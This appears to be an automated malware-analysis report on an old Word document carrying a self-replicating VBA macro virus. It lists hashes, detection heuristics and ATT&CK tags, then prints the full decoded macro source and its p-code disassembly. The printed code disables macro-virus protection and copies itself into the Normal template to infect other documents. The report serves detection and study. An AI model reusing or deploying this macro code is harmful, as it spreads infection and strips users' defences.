Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5e94624c2159fc54…

MALICIOUS

Office (OLE)

36.5 KB Created: 1998-08-29 17:10:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0e7303224dacf21cdcebddcc4a03e828 SHA-1: 9ef704a9b7c3c24c6fb598e184f8615d606c5b7e SHA-256: 5e94624c2159fc54c2937c8e63736e5f9472ff15b8470f8780bc56d225b15be2
236 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This document contains legacy WordBasic macro virus markers and VBA macros, including AutoOpen and Auto_Close, indicating malicious intent. The script attempts to export a component to 'c:\gerbil.sys' and modify the Normal template, suggesting an attempt to infect the template and spread to other documents. The presence of AutoOpen and Auto_Close macros strongly suggests this was delivered as a spearphishing attachment.

Heuristics 7

  • ClamAV: Doc.Trojan.Class-36 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-36
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
        .replaceline x, "'" & Application.DisplayRecentFiles & Application.StartupPath & Application.ActiveDocument & Application.ActiveWindow
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        .replaceline 1, "Sub AutoClose()"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8691 bytes
SHA-256: 393953c2b276bbd6056e2033ef21e8597c1d76131849569729c08d1077191bc8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

On Error GoTo 75

I = 0

Options.VirusProtection = False

Options.SaveNormalPrompt = False

Options.ConfirmConversions = False

If Day(13) And Month(11) Then Call ©

gx = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines

xg = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines

If xg > 94 And gx > 0 Then GoTo 75

If xg < 94 Then

 Set bg = NormalTemplate.VBProject.VBComponents.Item(1)

 ActiveDocument.VBProject.VBComponents.Item(1).Name = bg.Name

 ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\gerbil.sys"

End If

If gx = 0 Then Set bg = ActiveDocument.VBProject.VBComponents.Item(1)

 Infection = Int(Rnd * 50)

 If Infection = 49 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(71) + Chr(69) + Chr(82) + Chr(66) + Chr(73) + Chr(76) + Chr(32) + Chr(66) + Chr(121) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83)

 bg.codemodule.AddFromFile ("c:\gerbil.sys")

 With bg.codemodule

    For x = 1 To 4

    .deletelines 1

    Next x

 End With
  
 If xg < 94 Then

    With bg.codemodule

    .replaceline 1, "Sub AutoClose()"

    .replaceline 99, "Sub ToolsMacro()"
       
    rd = Int(Rnd * 100)

If rd = 99 Then .replaceline 69, ".replaceline x, ""'"" & Application.Version & Application.MathCoprocessorAvailable & Application.FocusInMailHeader & Application.ActiveWindow"
    
End With

 End If

 With bg.codemodule

    For x = 2 To 96 Step 2

    .replaceline x, "'" & Application.DisplayRecentFiles & Application.StartupPath & Application.ActiveDocument & Application.ActiveWindow

    Next x

 End With

75:

 If xg > 94 And gx = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub

Private Sub ©()

Top:

I = I + 1

On Error Resume Next

Application.WindowState = wdWindowStateMinimize

Application.WindowState = wdWindowStateMaximize

If I < 10 Then GoTo Top

Application.Quit

End Sub

Sub ViewVBCode()

End Sub






' Processing file: /tmp/qstore_xspy2nn1
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4766 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' Line #2:
' 	OnError 75 
' Line #3:
' Line #4:
' 	LitDI2 0x0000 
' 	St I 
' Line #5:
' Line #6:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #7:
' Line #8:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #9:
' Line #10:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #11:
' Line #12:
' 	LitDI2 0x000D 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000B 
' 	ArgsLd Month 0x0001 
' 	And 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) © 0x0000 
' 	EndIf 
' Line #13:
' Line #14:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St gx 
' Line #15:
' Line #16:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St xg 
' Line #17:
' Line #18:
' 	Ld xg 
' 	LitDI2 0x005E 
' 	Gt 
' 	Ld gx 
' 	LitDI2 0x0000 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo 75 
' 	EndIf 
' Line #19:
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' 	Ld xg 
' 	LitDI2 0x005E 
' 	Lt 
' 	IfBlock 
' Line #21:
' Line #22:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set bg 
' Line #23:
' Line #24:
' 	Ld bg 
' 	MemLd New 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemSt New 
' Line #25:
' Line #26:
' 	LitStr 0x000D "c:\gerbil.sys"
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #27:
' Line #28:
' 	EndIfBlock 
' Line #29:
' Line #30:
' 	Ld gx 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set bg 
' 	EndIf 
' Line #31:
' Line #32:
' 	Ld Rnd 
' 	LitDI2 0x0032 
' 	Mul 
' 	FnInt 
' 	St Infection 
' Line #33:
' Line #34:
' 	Ld Infection 
' 	LitDI2 0x0031 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0047 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0042 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0049 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x004C 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0042 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0079 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0056 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0069 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0075 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0053 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	ArgsCall MsgBox 0x0001 
' 	EndIf 
' Line #35:
' Line #36:
' 	LitStr 0x000D "c:\gerbil.sys"
' 	Paren 
' 	Ld bg 
' 	MemLd codemodule 
' 	ArgsMemCall AddFromFile 0x0001 
' Line #37:
' Line #38:
' 	StartWithExpr 
' 	Ld bg 
' 	MemLd codemodule 
' 	With 
' Line #39:
' Line #40:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0004 
' 	For 
' Line #41:
' Line #42:
' 	LitDI2 0x0001 
' 	ArgsMemCallWith deletelines 0x0001 
' Line #43:
' Line #44:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #45:
' Line #46:
' 	EndWith 
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' Line #48:
' 	Ld xg 
' 	LitDI2 0x005E 
' 	Lt 
' 	IfBlock 
' Line #49:
' Line #50:
' 	StartWithExpr 
' 	Ld bg 
' 	MemLd codemodule 
' 	With 
' Line #51:
' Line #52:
' 	LitDI2 0x0001 
' 	LitStr 0x000F "Sub AutoClose()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #53:
' Line #54:
' 	LitDI2 0x0063 
' 	LitStr 0x0010 "Sub ToolsMacro()"
' 	ArgsMemCallWith replaceline 0x0002 
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' Line #56:
' 	Ld Rnd 
' 	LitDI2 0x0064 
' 	Mul 
' 	FnInt 
' 	St rd 
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' 	Ld rd 
' 	LitDI2 0x0063 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0045 
' 	LitStr 0x008B ".replaceline x, "'" & Application.Version & Application.MathCoprocessorAvailable & Application.FocusInMailHeader & Application.ActiveWindow"
' 	ArgsMemCallWith replaceline 0x0002 
' 	EndIf 
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' 	EndWith 
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' 	EndIfBlock 
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' 	StartWithExpr 
' 	Ld bg 
' 	MemLd codemodule 
' 	With 
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' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	LitDI2 0x0060 
' 	LitDI2 0x0002 
' 	ForStep 
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' 	Ld x 
' 	LitStr 0x0001 "'"
' 	Ld Application 
' 	MemLd DisplayRecentFiles 
' 	Concat 
' 	Ld Application 
' 	MemLd StartupPath 
' 	Concat 
' 	Ld Application 
' 	MemLd ActiveDocument 
' 	Concat 
' 	Ld Application 
' 	MemLd ActiveWindow 
' 	Concat 
' 	ArgsMemCallWith replaceline 0x0002 
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' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #71:
' Line #72:
' 	EndWith 
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' Line #74:
' 	LineNum 75 
' 	BoS 0x0000 
' Line #75:
' Line #76:
' 	Ld xg 
' 	LitDI2 0x005E 
' 	Gt 
' 	Ld gx 
' 	LitDI2 0x0000 
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #77:
' Line #78:
' 	EndSub 
' Line #79:
' Line #80:
' 	FuncDefn (Private Sub ©())
' Line #81:
' Line #82:
' 	Label Top 
' Line #83:
' Line #84:
' 	Ld I 
' 	LitDI2 0x0001 
' 	Add 
' 	St I 
' Line #85:
' Line #86:
' 	OnError (Resume Next) 
' Line #87:
' Line #88:
' 	Ld wdWindowStateMinimize 
' 	Ld Application 
' 	MemSt WindowState 
' Line #89:
' Line #90:
' 	Ld wdWindowStateMaximize 
' 	Ld Application 
' 	MemSt WindowState 
' Line #91:
' Line #92:
' 	Ld I 
' 	LitDI2 0x000A 
' 	Lt 
' 	If 
' 	BoSImplicit 
' 	GoTo Top 
' 	EndIf 
' Line #93:
' Line #94:
' 	Ld Application 
' 	ArgsMemCall Quit 0x0000 
' Line #95:
' Line #96:
' 	EndSub 
' Line #97:
' Line #98:
' 	FuncDefn (Sub ViewVBCode())
' Line #99:
' Line #100:
' 	EndSub 
' Line #101:
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